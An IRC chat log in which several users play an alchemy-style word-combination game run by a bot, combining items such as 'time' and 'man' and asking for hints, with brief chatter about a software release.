[2015-01-03T14:16:26-0500] <Tamini_> lol
[2015-01-03T14:16:29-0500] <The_Master> @combine paper love
[2015-01-03T14:16:30-0500] <alchemy> You already combined paper and love to get loveletter.
[2015-01-03T14:16:30-0500] <alokpathy> @combine mutant pengiun
[2015-01-03T14:16:31-0500] <alchemy> You don't have pengiun!
[2015-01-03T14:16:32-0500] <alokpathy> @combine mutant penguin
[2015-01-03T14:16:32-0500] <The_Master> @combine paper joy
[2015-01-03T14:16:33-0500] <alchemy> You just discovered pingu (mutant + penguin)!
[2015-01-03T14:16:34-0500] <alchemy> paper and joy don't make anything exciting.
[2015-01-03T14:16:42-0500] <Tamini_> @hint
[2015-01-03T14:16:43-0500] <alchemy> Hint: It's possible to make mel with hacker!
[2015-01-03T14:16:44-0500] <The_Master> @list
[2015-01-03T14:16:44-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, christmas, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler
[2015-01-03T14:16:44-0500] <alchemy> You have: evil, fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, kitt, knight, lava
[2015-01-03T14:16:44-0500] <alchemy> You have: light, lightning, lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, mutant, neanderthal, nexorg, ninja, ocean, olaf, paper
[2015-01-03T14:16:44-0500] <alchemy> You have: pdgn, penguin, pidgeon, pidgey, pingu, plant, pool, puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, santa, science, sculpture, sentience, server
[2015-01-03T14:16:44-0500] <alchemy> You have: ship, snow, snowman, soil, starship, steam, stone, sword, sysadmin, thunder, tool, tornado, torvalds, tree, tsunami, villain, war, water, whitehat, whitespace
[2015-01-03T14:16:44-0500] <alchemy> You have: wind, wood, xkcd
[2015-01-03T14:16:44-0500] <alchemy> That's 103 out of 137!
[2015-01-03T14:16:51-0500] <alokpathy> @combine pingu man
[2015-01-03T14:16:52-0500] <alchemy> pingu and man don't make anything exciting.
[2015-01-03T14:16:52-0500] <+hardmath123> guys pls don't finish the game i will be so sad
[2015-01-03T14:16:54-0500] <Tamini_> @combine wind sentience
[2015-01-03T14:16:54-0500] <alchemy> wind and sentience don't make anything exciting.
[2015-01-03T14:16:56-0500] <Tamini_> @hint
[2015-01-03T14:16:57-0500] <alchemy> Hint: It's possible to make plant with energy!
[2015-01-03T14:17:00-0500] <alokpathy> @hint
[2015-01-03T14:17:00-0500] <alchemy> Hint: It's possible to make axe with fireman!
[2015-01-03T14:17:01-0500] <Tamini_> @hint
[2015-01-03T14:17:01-0500] <alchemy> You'll be happier if you get it yourself.
[2015-01-03T14:17:01-0500] <The_Master> hardmath123: add more
[2015-01-03T14:17:04-0500] <alokpathy> Oh hmmmm
[2015-01-03T14:17:07-0500] <alokpathy> @combine fireman tool
[2015-01-03T14:17:07-0500] <alchemy> You just discovered axe (fireman + tool)!
[2015-01-03T14:17:07-0500] <Tamini_> @combine fireman tool
[2015-01-03T14:17:08-0500] <alchemy> You already combined fireman and tool to get axe.
[2015-01-03T14:17:11-0500] <Tamini_> OH COME ON
[2015-01-03T14:17:13-0500] <Tamini_> @hint
[2015-01-03T14:17:13-0500] <alchemy> No can do, buddy.
[2015-01-03T14:17:16-0500] <alokpathy> Tamini_: pwned :P
[2015-01-03T14:17:16-0500] <Tamini_> @hint
[2015-01-03T14:17:16-0500] <The_Master> hardmath123: make hints repeat untill you complete them
[2015-01-03T14:17:17-0500] <alchemy> Not on your life.
[2015-01-03T14:17:20-0500] <Tamini_> @combine axe tree
[2015-01-03T14:17:21-0500] <alchemy> axe and tree don't make anything exciting.
[2015-01-03T14:17:21-0500] <alokpathy> @hint
[2015-01-03T14:17:22-0500] <alchemy> Giving up already? Give it a real try.
[2015-01-03T14:17:24-0500] <alokpathy> @hint
[2015-01-03T14:17:25-0500] <alchemy> Hint: It's possible to make computer with metal!
[2015-01-03T14:17:27-0500] <Tamini_> @hint
[2015-01-03T14:17:27-0500] <alokpathy> @hint
[2015-01-03T14:17:27-0500] <alchemy> You'll be happier if you get it yourself.
[2015-01-03T14:17:28-0500] <alchemy> Hint: It's possible to make noise with metal!
[2015-01-03T14:17:31-0500] <Tamini_> @hint
[2015-01-03T14:17:31-0500] <alokpathy> Hm
[2015-01-03T14:17:31-0500] <alchemy> Not on your life.
[2015-01-03T14:17:35-0500] <Tamini_> @combine metal metal
[2015-01-03T14:17:35-0500] <alchemy> You just discovered noise (metal + metal)!
[2015-01-03T14:17:38-0500] <alokpathy> woo
[2015-01-03T14:17:42-0500] <Tamini_> @combine noise joy
[2015-01-03T14:17:43-0500] <alchemy> noise and joy don't make anything exciting.
[2015-01-03T14:17:45-0500] <The_Master> noise can make music probaly
[2015-01-03T14:17:49-0500] <Tamini_> @combine noise noise
[2015-01-03T14:17:50-0500] <alchemy> noise and noise don't make anything exciting.
[2015-01-03T14:17:51-0500] <The_Master> @combine noise paper
[2015-01-03T14:17:52-0500] <alchemy> noise and paper don't make anything exciting.
[2015-01-03T14:17:52-0500] <alokpathy> @list
[2015-01-03T14:17:53-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, axe, backstroke, blackhat, boat, chivalry, christmas, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent
[2015-01-03T14:17:53-0500] <alchemy> You have: euler, evil, fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, kitt, knight
[2015-01-03T14:17:53-0500] <alchemy> You have: lava, light, lightning, lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, mutant, neanderthal, nexorg, ninja, noise, ocean
[2015-01-03T14:17:53-0500] <alchemy> You have: olaf, paper, pdgn, penguin, pidgeon, pidgey, pingu, plant, pool, puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, santa, science, sculpture
[2015-01-03T14:17:53-0500] <alchemy> You have: sentience, server, ship, snow, snowman, soil, starship, steam, stone, sword, sysadmin, thunder, tool, tornado, torvalds, tree, tsunami, villain, war, water
[2015-01-03T14:17:53-0500] <alchemy> You have: whitehat, whitespace, wind, wood, xkcd
[2015-01-03T14:17:53-0500] <alchemy> That's 105 out of 137!
[2015-01-03T14:17:56-0500] <The_Master> @combine noise joy
[2015-01-03T14:17:57-0500] <alchemy> noise and joy don't make anything exciting.
[2015-01-03T14:17:59-0500] <The_Master> @combine noise human
[2015-01-03T14:18:00-0500] <alchemy> You don't have human!
[2015-01-03T14:18:02-0500] <alokpathy> @combine noise man
[2015-01-03T14:18:02-0500] <Tamini_> @combine noise man
[2015-01-03T14:18:03-0500] <alchemy> noise and man don't make anything exciting.
[2015-01-03T14:18:04-0500] <alchemy> noise and man don't make anything exciting.
[2015-01-03T14:18:06-0500] <Tamini_> @combine noise tool
[2015-01-03T14:18:07-0500] <alchemy> noise and tool don't make anything exciting.
[2015-01-03T14:18:10-0500] <The_Master> @combine noise man
[2015-01-03T14:18:11-0500] <alchemy> noise and man don't make anything exciting.
[2015-01-03T14:18:17-0500] <alokpathy> @combine noise lava
[2015-01-03T14:18:18-0500] <alchemy> noise and lava don't make anything exciting.
[2015-01-03T14:18:23-0500] <Tamini_> @combine noise energy
[2015-01-03T14:18:23-0500] <alchemy> noise and energy don't make anything exciting.
[2015-01-03T14:18:27-0500] <alokpathy> @combine noise sentience
[2015-01-03T14:18:27-0500] <alchemy> noise and sentience don't make anything exciting.
[2015-01-03T14:18:27-0500] <alokpathy> lol
[2015-01-03T14:18:29-0500] <alokpathy> darn
[2015-01-03T14:18:33-0500] <Tamini_> @combine noise genius
[2015-01-03T14:18:34-0500] <alchemy> You just discovered music (noise + genius)!
[2015-01-03T14:18:36-0500] <The_Master> @combine noise math
[2015-01-03T14:18:36-0500] <alchemy> noise and math don't make anything exciting.
[2015-01-03T14:18:40-0500] <Tamini_> @combine noise science
[2015-01-03T14:18:40-0500] <alchemy> noise and science don't make anything exciting.
[2015-01-03T14:18:45-0500] <Tamini_> @combine music genius
[2015-01-03T14:18:45-0500] <alchemy> You just discovered bach (music + genius)!
[2015-01-03T14:18:46-0500] <The_Master> @combine music genius
[2015-01-03T14:18:47-0500] <alchemy> You already combined music and genius to get bach.
[2015-01-03T14:18:50-0500] <Tamini_> @combine bach hacker
[2015-01-03T14:18:50-0500] <alchemy> You just discovered hofstader (bach + hacker)!
[2015-01-03T14:18:58-0500] <alokpathy> woo
[2015-01-03T14:18:59-0500] <Tamini_> @combine hofstader paper
[2015-01-03T14:19:00-0500] <alchemy> hofstader and paper don't make anything exciting.
[2015-01-03T14:19:02-0500] <The_Master> @combine bach paper
[2015-01-03T14:19:02-0500] <Tamini_> :(
[2015-01-03T14:19:03-0500] <alchemy> bach and paper don't make anything exciting.
[2015-01-03T14:19:07-0500] <alokpathy> @combine hofstader science
[2015-01-03T14:19:08-0500] <Tamini_> hmm
[2015-01-03T14:19:08-0500] <alchemy> hofstader and science don't make anything exciting.
[2015-01-03T14:19:09-0500] <The_Master> @possible erdos
[2015-01-03T14:19:10-0500] <alchemy> No, you can't make erdos.
[2015-01-03T14:19:12-0500] <alokpathy> @list
[2015-01-03T14:19:12-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, axe, bach, backstroke, blackhat, boat, chivalry, christmas, cloud, computer, crops, earth, einstein, electricity, energy, engine
[2015-01-03T14:19:12-0500] <alchemy> You have: ent, euler, evil, fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hofstader, hole, house, ice, internet, jacob, joy
[2015-01-03T14:19:12-0500] <alchemy> You have: kitt, knight, lava, light, lightning, lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, music, mutant, neanderthal, nexorg
[2015-01-03T14:19:12-0500] <alchemy> You have: ninja, noise, ocean, olaf, paper, pdgn, penguin, pidgeon, pidgey, pingu, plant, pool, puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm
[2015-01-03T14:19:12-0500] <alchemy> You have: santa, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam, stone, sword, sysadmin, thunder, tool, tornado, torvalds, tree, tsunami
[2015-01-03T14:19:12-0500] <alchemy> You have: villain, war, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-03T14:19:12-0500] <alchemy> That's 108 out of 137!
[2015-01-03T14:19:13-0500] <Tamini_> what other paths are we missing
[2015-01-03T14:19:16-0500] <alokpathy> @possible leonard
[2015-01-03T14:19:17-0500] <alchemy> No, you can't make leonard.
[2015-01-03T14:19:18-0500] <Tamini_> @combine math science
[2015-01-03T14:19:18-0500] <alchemy> math and science don't make anything exciting.
[2015-01-03T14:19:21-0500] <alokpathy> @hint
[2015-01-03T14:19:22-0500] <Tamini_> @hint
[2015-01-03T14:19:23-0500] <alchemy> No can do, buddy.
[2015-01-03T14:19:23-0500] <alokpathy> @hint
[2015-01-03T14:19:24-0500] <alchemy> Hint: It's possible to make knight with man!
[2015-01-03T14:19:25-0500] <alchemy> Hint: It's possible to make puddle with olaf!
[2015-01-03T14:19:25-0500] <The_Master> @possible erdős
[2015-01-03T14:19:25-0500] <alchemy> No, you can't make erdős.
[2015-01-03T14:19:29-0500] <alokpathy> @hint
[2015-01-03T14:19:29-0500] <alchemy> Hint: It's possible to make stone with water!
[2015-01-03T14:19:30-0500] <Tamini_> @hint
[2015-01-03T14:19:30-0500] <alchemy> Hint: It's possible to make linux with hacker!
[2015-01-03T14:19:31-0500] <alokpathy> @hint
[2015-01-03T14:19:31-0500] <alchemy> Hint: It's possible to make ocean with water!
[2015-01-03T14:19:34-0500] <Tamini_> @hint
[2015-01-03T14:19:34-0500] <alokpathy> @hint
[2015-01-03T14:19:35-0500] <alchemy> Hint: It's possible to make wood with man!
[2015-01-03T14:19:35-0500] <alchemy> Nope.
[2015-01-03T14:19:37-0500] <alokpathy> @hint
[2015-01-03T14:19:38-0500] <alchemy> Hint: It's possible to make love with man!
[2015-01-03T14:19:39-0500] <alokpathy> @hint
[2015-01-03T14:19:40-0500] <alchemy> Nope.
[2015-01-03T14:19:40-0500] <Tamini_> @combine water water
[2015-01-03T14:19:41-0500] <alchemy> You already combined water and water to get ocean.
[2015-01-03T14:19:42-0500] <alokpathy> @hint
[2015-01-03T14:19:42-0500] <Tamini_> @hint
[2015-01-03T14:19:43-0500] <alchemy> Nope.
[2015-01-03T14:19:44-0500] <alchemy> No can do, buddy.
[2015-01-03T14:19:45-0500] <alokpathy> @hint
[2015-01-03T14:19:46-0500] <alchemy> You'll be happier if you get it yourself.
[2015-01-03T14:19:46-0500] <Tamini_> @combine joy man
[2015-01-03T14:19:47-0500] <alchemy> You already combined joy and man to get love.
[2015-01-03T14:19:48-0500] <alokpathy> @hint
[2015-01-03T14:19:49-0500] <alchemy> Hint: It's possible to make xkcd with blackhat!
[2015-01-03T14:19:50-0500] <alokpathy> @hint
[2015-01-03T14:19:51-0500] <alchemy> Hint: It's possible to make foss with computer!
[2015-01-03T14:19:51-0500] <Tamini_> @hint
[2015-01-03T14:19:52-0500] <alchemy> Hint: It's possible to make tsunami with water!
[2015-01-03T14:19:56-0500] <alokpathy> Hmm
[2015-01-03T14:19:56-0500] <alokpathy> foss
[2015-01-03T14:19:57-0500] <alokpathy> computer
[2015-01-03T14:19:58-0500] <Tamini_> do we have foss?
[2015-01-03T14:20:01-0500] <alokpathy> @list
[2015-01-03T14:20:02-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, axe, bach, backstroke, blackhat, boat, chivalry, christmas, cloud, computer, crops, earth, einstein, electricity, energy, engine
[2015-01-03T14:20:02-0500] <alchemy> You have: ent, euler, evil, fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hofstader, hole, house, ice, internet, jacob, joy
[2015-01-03T14:20:02-0500] <alchemy> You have: kitt, knight, lava, light, lightning, lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, music, mutant, neanderthal, nexorg
[2015-01-03T14:20:02-0500] <alchemy> You have: ninja, noise, ocean, olaf, paper, pdgn, penguin, pidgeon, pidgey, pingu, plant, pool, puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm
[2015-01-03T14:20:02-0500] <alchemy> You have: santa, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam, stone, sword, sysadmin, thunder, tool, tornado, torvalds, tree, tsunami
[2015-01-03T14:20:02-0500] <alchemy> You have: villain, war, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-03T14:20:02-0500] <alchemy> That's 108 out of 137!
[2015-01-03T14:20:04-0500] <alokpathy> We do not.
[2015-01-03T14:20:11-0500] <+hardmath123> @dowehave foss
[2015-01-03T14:20:12-0500] <alchemy> No, foss is not in your collection.
[2015-01-03T14:20:18-0500] <+hardmath123> alokpathy: ^^
[2015-01-03T14:20:28-0500] <Tamini_> @combine computer genius
[2015-01-03T14:20:29-0500] <alchemy> computer and genius don't make anything exciting.
[2015-01-03T14:20:39-0500] <Tamini_> @possible money
[2015-01-03T14:20:39-0500] <alchemy> No, you can't make money.
[2015-01-03T14:20:51-0500] <Tamini_> @computer joy
[2015-01-03T14:20:55-0500] <alokpathy> @combine computer joy
[2015-01-03T14:20:55-0500] <alchemy> computer and joy don't make anything exciting.
[2015-01-03T14:20:56-0500] <Tamini_> @combine computer joy
[2015-01-03T14:20:56-0500] <alchemy> computer and joy don't make anything exciting.
[2015-01-03T14:21:04-0500] <alokpathy> @hint
[2015-01-03T14:21:04-0500] <Tamini_> @combine computer internet
[2015-01-03T14:21:04-0500] <alchemy> Hint: It's possible to make lightsaber with light!
[2015-01-03T14:21:05-0500] <alchemy> computer and internet don't make anything exciting.
[2015-01-03T14:21:06-0500] <alokpathy> @hint
[2015-01-03T14:21:06-0500] <alchemy> Hint: It's possible to make coffee with sysadmin!
[2015-01-03T14:21:13-0500] <alokpathy> @combine sysadmin water
[2015-01-03T14:21:13-0500] <alchemy> sysadmin and water don't make anything exciting.
[2015-01-03T14:21:16-0500] <Tamini_> @combine sysadmin plant
[2015-01-03T14:21:16-0500] <alchemy> sysadmin and plant don't make anything exciting.
[2015-01-03T14:21:21-0500] <Tamini_> @combine sysadmin tree
[2015-01-03T14:21:21-0500] <alchemy> sysadmin and tree don't make anything exciting.
[2015-01-03T14:21:23-0500] <alokpathy> @possible cup
[2015-01-03T14:21:23-0500] <alchemy> No, you can't make cup.
[2015-01-03T14:21:26-0500] <Tamini_> @combine sysadmin computer
[2015-01-03T14:21:26-0500] <alchemy> sysadmin and computer don't make anything exciting.
[2015-01-03T14:21:33-0500] <alokpathy> @combine sysadmin energy
[2015-01-03T14:21:34-0500] <alchemy> sysadmin and energy don't make anything exciting.
[2015-01-03T14:21:36-0500] <Tamini_> @combine sysadmin server
[2015-01-03T14:21:37-0500] <alchemy> sysadmin and server don't make anything exciting.
[2015-01-03T14:21:41-0500] <Tamini_> @combine hacker server
[2015-01-03T14:21:42-0500] <alchemy> hacker and server don't make anything exciting.
[2015-01-03T14:21:45-0500] <alokpathy> @list
[2015-01-03T14:21:45-0500] <Tamini_> @combine plant energy
[2015-01-03T14:21:46-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, axe, bach, backstroke, blackhat, boat, chivalry, christmas, cloud, computer, crops, earth, einstein, electricity, energy, engine
[2015-01-03T14:21:46-0500] <alchemy> You have: ent, euler, evil, fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hofstader, hole, house, ice, internet, jacob, joy
[2015-01-03T14:21:46-0500] <alchemy> You have: kitt, knight, lava, light, lightning, lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, music, mutant, neanderthal, nexorg
[2015-01-03T14:21:46-0500] <alchemy> You have: ninja, noise, ocean, olaf, paper, pdgn, penguin, pidgeon, pidgey, pingu, plant, pool, puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm
[2015-01-03T14:21:46-0500] <alchemy> You have: santa, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam, stone, sword, sysadmin, thunder, tool, tornado, torvalds, tree, tsunami
[2015-01-03T14:21:46-0500] <alchemy> You have: villain, war, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-03T14:21:46-0500] <alchemy> That's 108 out of 137!
[2015-01-03T14:21:47-0500] <alchemy> plant and energy don't make anything exciting.
[2015-01-03T14:21:51-0500] <Tamini_> @hint
[2015-01-03T14:21:52-0500] <alchemy> Hint: It's possible to make genius with sentience!
[2015-01-03T14:21:56-0500] <Tamini_> @hint
[2015-01-03T14:21:57-0500] <alchemy> Hint: It's possible to make treebeard with ent!
[2015-01-03T14:21:58-0500] <The_Master> @@
[2015-01-03T14:22:02-0500] <Tamini_> @combine ent man
[2015-01-03T14:22:03-0500] <alchemy> ent and man don't make anything exciting.
[2015-01-03T14:22:07-0500] <Tamini_> @combine ent ent
[2015-01-03T14:22:07-0500] <alokpathy> @combine ent tree
[2015-01-03T14:22:07-0500] <alchemy> ent and ent don't make anything exciting.
[2015-01-03T14:22:08-0500] <+JacobEdelman> @tell hardmath123 lark 0.0.3 is out! You can now legit program things! I will add a tutorial soon (within a few days with any luck). 
[2015-01-03T14:22:08-0500] <mailbot> JacobEdelman: I'll let them know!
[2015-01-03T14:22:08-0500] <alchemy> ent and tree don't make anything exciting.
[2015-01-03T14:22:18-0500] <+hardmath123> JacobEdelman: is it on npm?
[2015-01-03T14:22:18-0500] <mailbot> hardmath123: Moments ago, JacobEdelman said lark 0.0.3 is out! You can now legit program things! I will add a tutorial soon (within a few days with any luck). .
[2015-01-03T14:22:23-0500] <+hardmath123> @refresh
[2015-01-03T14:22:24-0500] <alchemy> Refreshing...
[2015-01-03T14:22:24-0500] <alchemy> Done.
[2015-01-03T14:22:25-0500] <+JacobEdelman> oh, your online
[2015-01-03T14:22:25-0500] <+hardmath123> @list
[2015-01-03T14:22:27-0500] <Tamini_> @combine ent sentience
[2015-01-03T14:22:27-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, axe, bach, backstroke, blackhat, boat, chivalry, christmas, cloud, computer, crops, earth, einstein, electricity, energy, engine
[2015-01-03T14:22:27-0500] <alchemy> You have: ent, euler, evil, fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hofstader, hole, house, ice, internet, jacob, joy
[2015-01-03T14:22:27-0500] <alchemy> You have: kitt, knight, lava, light, lightning, lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, music, mutant, neanderthal, nexorg
[2015-01-03T14:22:27-0500] <alchemy> You have: ninja, noise, ocean, olaf, paper, pdgn, penguin, pidgeon, pidgey, pingu, plant, pool, puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm
[2015-01-03T14:22:27-0500] <alchemy> You have: santa, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam, stone, sword, sysadmin, thunder, tool, tornado, torvalds, tree, tsunami
[2015-01-03T14:22:27-0500] <alchemy> You have: villain, war, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-03T14:22:27-0500] <alchemy> That's 108 out of 147!
[2015-01-03T14:22:28-0500] <+JacobEdelman> no its not on npm
[2015-01-03T14:22:28-0500] <alchemy> You just discovered treebeard (ent + sentience)!
[2015-01-03T14:22:30-0500] <+JacobEdelman> not yet
[2015-01-03T14:22:31-0500] <Tamini_> @hint
[2015-01-03T14:22:31-0500] <alokpathy> hardmath123: :(
[2015-01-03T14:22:32-0500] <alchemy> Hint: It's possible to make perry with platypus!
[2015-01-03T14:22:35-0500] <+JacobEdelman> sorry
[2015-01-03T14:22:45-0500] <alokpathy> hardmath123: We were so close
[2015-01-03T14:22:45-0500] <Tamini_> @combine sentience water
[2015-01-03T14:22:46-0500] <+JacobEdelman> I need to get access to a diff computerto do that
[2015-01-03T14:22:46-0500] <alchemy> sentience and water don't make anything exciting.
[2015-01-03T14:22:47-0500] <alokpathy> now we're farther
[2015-01-03T14:22:49-0500] <alokpathy> @hint
[2015-01-03T14:22:49-0500] <alchemy> Hint: It's possible to make christmas with snow!
[2015-01-03T14:22:50-0500] <Tamini_> @combine ear
[2015-01-03T14:22:51-0500] <+JacobEdelman> I'll do it soon
[2015-01-03T14:22:56-0500] <Tamini_> @combine earth sentience
[2015-01-03T14:22:56-0500] <alokpathy> @hint
[2015-01-03T14:22:56-0500] <alchemy> You already combined earth and sentience to get man.
[2015-01-03T14:22:58-0500] <alchemy> Not on your life.
[2015-01-03T14:22:59-0500] <alokpathy> @hint
[2015-01-03T14:22:59-0500] <alchemy> Not this time!
[2015-01-03T14:23:00-0500] <alokpathy> @hint
[2015-01-03T14:23:00-0500] <alchemy> You'll be happier if you get it yourself.
[2015-01-03T14:23:02-0500] <alokpathy> @hint
[2015-01-03T14:23:02-0500] <alchemy> Hint: It's possible to make time with einstein!
[2015-01-03T14:23:04-0500] <Tamini_> @combine ocean sentience
[2015-01-03T14:23:05-0500] <alchemy> ocean and sentience don't make anything exciting.
[2015-01-03T14:23:12-0500] <alokpathy> WE GOT A HINT WITH TIME
[2015-01-03T14:23:17-0500] <+hardmath123> i need to make hint less useful :P
[2015-01-03T14:23:18-0500] <Tamini_> @combine earth water
[2015-01-03T14:23:19-0500] <alchemy> earth and water don't make anything exciting.
[2015-01-03T14:23:20-0500] <+JacobEdelman> @combine einstein energy
[2015-01-03T14:23:22-0500] <alokpathy> @combine einstein science
[2015-01-03T14:23:22-0500] <alchemy> You just discovered time (einstein + energy)!
[2015-01-03T14:23:22-0500] <The_Master> @combine thunder sentience
[2015-01-03T14:23:23-0500] <alchemy> einstein and science don't make anything exciting.
[2015-01-03T14:23:24-0500] <alchemy> thunder and sentience don't make anything exciting.
[2015-01-03T14:23:26-0500] <alokpathy> woo
[2015-01-03T14:23:28-0500] <+JacobEdelman> I gots it!
[2015-01-03T14:23:30-0500] <Tamini_> @combine time time
[2015-01-03T14:23:30-0500] <+JacobEdelman> yes!
[2015-01-03T14:23:30-0500] <alchemy> You just discovered tomorrow (time + time)!
[2015-01-03T14:23:33-0500] <+hardmath123> you guys are trolling hint
[2015-01-03T14:23:35-0500] <Tamini_> @combine tomorrow tomorrow
[2015-01-03T14:23:36-0500] <alchemy> tomorrow and tomorrow don't make anything exciting.
[2015-01-03T14:23:39-0500] <Tamini_> @combine tomorrow joy
[2015-01-03T14:23:40-0500] <alchemy> tomorrow and joy don't make anything exciting.
[2015-01-03T14:23:41-0500] <+JacobEdelman> @combine tomorrow tomorrow
[2015-01-03T14:23:42-0500] <alchemy> tomorrow and tomorrow don't make anything exciting.
[2015-01-03T14:23:45-0500] <Tamini_> @combine tomorrow time
[2015-01-03T14:23:46-0500] <alchemy> tomorrow and time don't make anything exciting.
[2015-01-03T14:23:48-0500] <+JacobEdelman> @combine time energy
[2015-01-03T14:23:48-0500] <alokpathy> hardmath123: How else do you think we got this far?
[2015-01-03T14:23:49-0500] <alchemy> time and energy don't make anything exciting.
[2015-01-03T14:23:51-0500] <alokpathy> @list
[2015-01-03T14:23:51-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, axe, bach, backstroke, blackhat, boat, chivalry, christmas, cloud, computer, crops, earth, einstein, electricity, energy, engine
[2015-01-03T14:23:51-0500] <alchemy> You have: ent, euler, evil, fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hofstader, hole, house, ice, internet, jacob, joy
[2015-01-03T14:23:51-0500] <alchemy> You have: kitt, knight, lava, light, lightning, lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, music, mutant, neanderthal, nexorg
[2015-01-03T14:23:51-0500] <alchemy> You have: ninja, noise, ocean, olaf, paper, pdgn, penguin, pidgeon, pidgey, pingu, plant, pool, puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm
[2015-01-03T14:23:51-0500] <alchemy> You have: santa, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam, stone, sword, sysadmin, thunder, time, tomorrow, tool, tornado, torvalds
[2015-01-03T14:23:51-0500] <alchemy> You have: tree, treebeard, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-03T14:23:51-0500] <alchemy> That's 111 out of 147!
[2015-01-03T14:23:52-0500] <+JacobEdelman> @combine time man
[2015-01-03T14:23:52-0500] <Tamini_> @combine time energy
[2015-01-03T14:23:53-0500] <alchemy> You just discovered zombie (time + man)!
[2015-01-03T14:23:54-0500] <alchemy> time and energy don't make anything exciting.
[2015-01-03T14:23:57-0500] <+JacobEdelman> @combine time friendship
[2015-01-03T14:23:58-0500] <alchemy> time and friendship don't make anything exciting.
[2015-01-03T14:24:01-0500] <The_Master> hardmath123: nerf hint, add a timer maybe.
[2015-01-03T14:24:01-0500] <alokpathy> @combine time science
[2015-01-03T14:24:02-0500] <Tamini_> @combine zombie zombie
[2015-01-03T14:24:02-0500] <alchemy> time and science don't make anything exciting.
[2015-01-03T14:24:03-0500] <alchemy> zombie and zombie don't make anything exciting.
[2015-01-03T14:24:08-0500] <alokpathy> @combine zombie man
[2015-01-03T14:24:08-0500] <alchemy> zombie and man don't make anything exciting.
[2015-01-03T14:24:08-0500] <The_Master> @combine time man
[2015-01-03T14:24:09-0500] <alchemy> You already combined time and man to get zombie.
[2015-01-03T14:24:11-0500] <Tamini_> hardmath123: good idea
[2015-01-03T14:24:13-0500] <Tamini_> like
[2015-01-03T14:24:13-0500] <alokpathy> @combine sysadmin time
[2015-01-03T14:24:14-0500] <+JacobEdelman> @combine time ocean
[2015-01-03T14:24:14-0500] <alchemy> sysadmin and time don't make anything exciting.
[2015-01-03T14:24:15-0500] <alchemy> time and ocean don't make anything exciting.
[2015-01-03T14:24:16-0500] <The_Master> @combine time hacker
[2015-01-03T14:24:17-0500] <alchemy> time and hacker don't make anything exciting.
[2015-01-03T14:24:23-0500] <Tamini_> give useful hints every 5 mins or something
[2015-01-03T14:24:23-0500] <alokpathy> @combine sysadmin zombie
[2015-01-03T14:24:24-0500] <alchemy> sysadmin and zombie don't make anything exciting.
[2015-01-03T14:24:31-0500] <alokpathy> @combine sysadmin engine
[2015-01-03T14:24:31-0500] <alchemy> sysadmin and engine don't make anything exciting.
[2015-01-03T14:24:35-0500] <alokpathy> @combine sysadmin food
[2015-01-03T14:24:36-0500] <alchemy> sysadmin and food don't make anything exciting.
[2015-01-03T14:24:37-0500] <Tamini_> @hint
[2015-01-03T14:24:37-0500] <alchemy> No can do, buddy.
[2015-01-03T14:24:38-0500] <The_Master> @possible .*
[2015-01-03T14:24:39-0500] <alchemy> No, you can't make .*.
[2015-01-03T14:24:39-0500] <Tamini_> @hint
[2015-01-03T14:24:40-0500] <alchemy> Hint: It's possible to make noise with metal!
[2015-01-03T14:24:43-0500] <Tamini_> @hint
[2015-01-03T14:24:43-0500] <alchemy> Not on your life.
[2015-01-03T14:24:45-0500] <alokpathy> @hint
[2015-01-03T14:24:45-0500] <alchemy> Hint: It's possible to make pidgey with pidgeon!
[2015-01-03T14:24:46-0500] <Tamini_> @hint
[2015-01-03T14:24:47-0500] <alchemy> Hint: It's possible to make platypus with mutant!
[2015-01-03T14:24:50-0500] <alokpathy> Hmm
[2015-01-03T14:24:52-0500] <Tamini_> @combine man mutant
[2015-01-03T14:24:52-0500] <alchemy> man and mutant don't make anything exciting.
[2015-01-03T14:24:56-0500] <The_Master> @possible }]"/;>)
[2015-01-03T14:24:57-0500] <alchemy> No, you can't make }]"/;>).
[2015-01-03T14:24:58-0500] <Tamini_> @combine ocean mutant
[2015-01-03T14:24:58-0500] <alokpathy> @list
[2015-01-03T14:24:59-0500] <alchemy> ocean and mutant don't make anything exciting.
[2015-01-03T14:25:00-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, axe, bach, backstroke, blackhat, boat, chivalry, christmas, cloud, computer, crops, earth, einstein, electricity, energy, engine
